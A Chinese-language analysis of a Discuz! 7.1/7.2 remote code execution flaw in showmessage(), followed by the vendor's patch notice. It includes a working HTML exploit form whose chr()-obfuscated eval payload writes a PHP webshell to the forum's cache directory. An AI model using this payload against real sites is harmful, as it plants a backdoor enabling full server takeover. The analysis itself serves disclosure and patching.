产生漏洞的$scriptlang数组在安装插件后已经初始化    Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。    下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：    一、漏洞来自showmessage函数：    function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {       extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com       global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;       define('CACHE_FORBIDDEN', TRUE);       $hookscriptmessage = $show_message = $message;$messagehandle = 0;       $msgforward = unserialize($_DCACHE['settings']['msgforward']);       $refreshtime = intval($msgforward['refreshtime']);       $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);       $msgforward['refreshtime'] = $refreshtime * 1000;       $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);       $seccodecheck = $seccodestatus & 2;       if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {           $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';           if($fp = @fopen($statlogfile, 'a')) {               @flock($fp, 2);               if(is_array($funcstatinfo)) {                   $funcstatinfo = array_unique($funcstatinfo);                   foreach($funcstatinfo as $funcinfo) {                       fwrite($fp, funcstat_query($funcinfo, $message)."\n");                   }               } else {                   fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");               }               fclose($fp);               $funcstatinfo = $GLOBALS['funcstatinfo'] = '';           }       }         if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {           write_statlog($message);       }         if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {           updatesession();           dheader("location: ".str_replace('&', '&', $url_forward));       }       if(!empty($infloat)) {           if($extra) {               $messagehandle = $extra;           }           $extra = '';       }       if(in_array($extra, array('HALTED', 'NOPERM'))) {           $discuz_action = 254;       } else {           $discuz_action = 255;       }         include language('messages');         $vars = explode(':', $message);//只要含:就可以了       if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割           eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化，可以自定义，from www.oldjun.com       } elseif(isset($language[$message])) {           $pre = $inajax ? 'ajax_' : '';           eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");           unset($pre);       }         ......  }   二、DZ的全局机制导致了未初始化的参数可以任意提交：    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {       foreach($$_request as $_key => $_value) {           $_key{0} != '_' && $$_key = daddslashes($_value);       }  }   三、misc.php正好有个可以自定义message的点，其实也是未初始化：    elseif($action == 'imme_binding' && $discuz_uid) {         if(isemail($id)) {           $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");           $msn = explode("\t", $msn);           $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));           $msn = "$msn[0]\t$id";           $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");           showmessage('msn_binding_succeed', 'memcp.php');       } else {           if($result == 'Declined') {               dheader("Location: memcp.php");           } else {               showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com             }       }        } 

showmessage函数里$vars = explode(':', $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。    下面是HTML测试代码：    <form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data">  帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" />  <input type="hidden" name="action" value="imme_binding" />  <input type="hidden" name="response[result]" value="1:2" />  <input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />  <input type="submit" name="topicsubmit" value="提交" class="submit" />  </form>    forumdata/cache/usergroup_01.php cmd 生成的一句话

更新内容:    修复版本存在的重要安全问题    修复版本中存在的其他使用 bug    安全级别：     高    涉及版本：Discuz! 7.1 , Discuz! 7.2    修补方法:    1. 根据您的版本下载补丁包    7.1 用户 http://download2.comsenz.com/Discuz/patch/7.1/D710_UPGRADE_TO_20100110.zip  7.2 用户 http://download2.comsenz.com/Discuz/patch/7.2/D720_UPGRADE_TO_20100110.zip    2. 解压缩文件  3. 上传upload目录中的所有文件到您的论坛, 覆盖原有程序  4. 修复完成    注意事项:下目录中包含有相应版本的以往的补丁文件, 如果您尚未修复, 您应当按照补丁发布的时间, 依次覆盖修复  http://download2.comsenz.com/Discuz/patch/7.1/  http://download2.comsenz.com/Discuz/patch/7.2/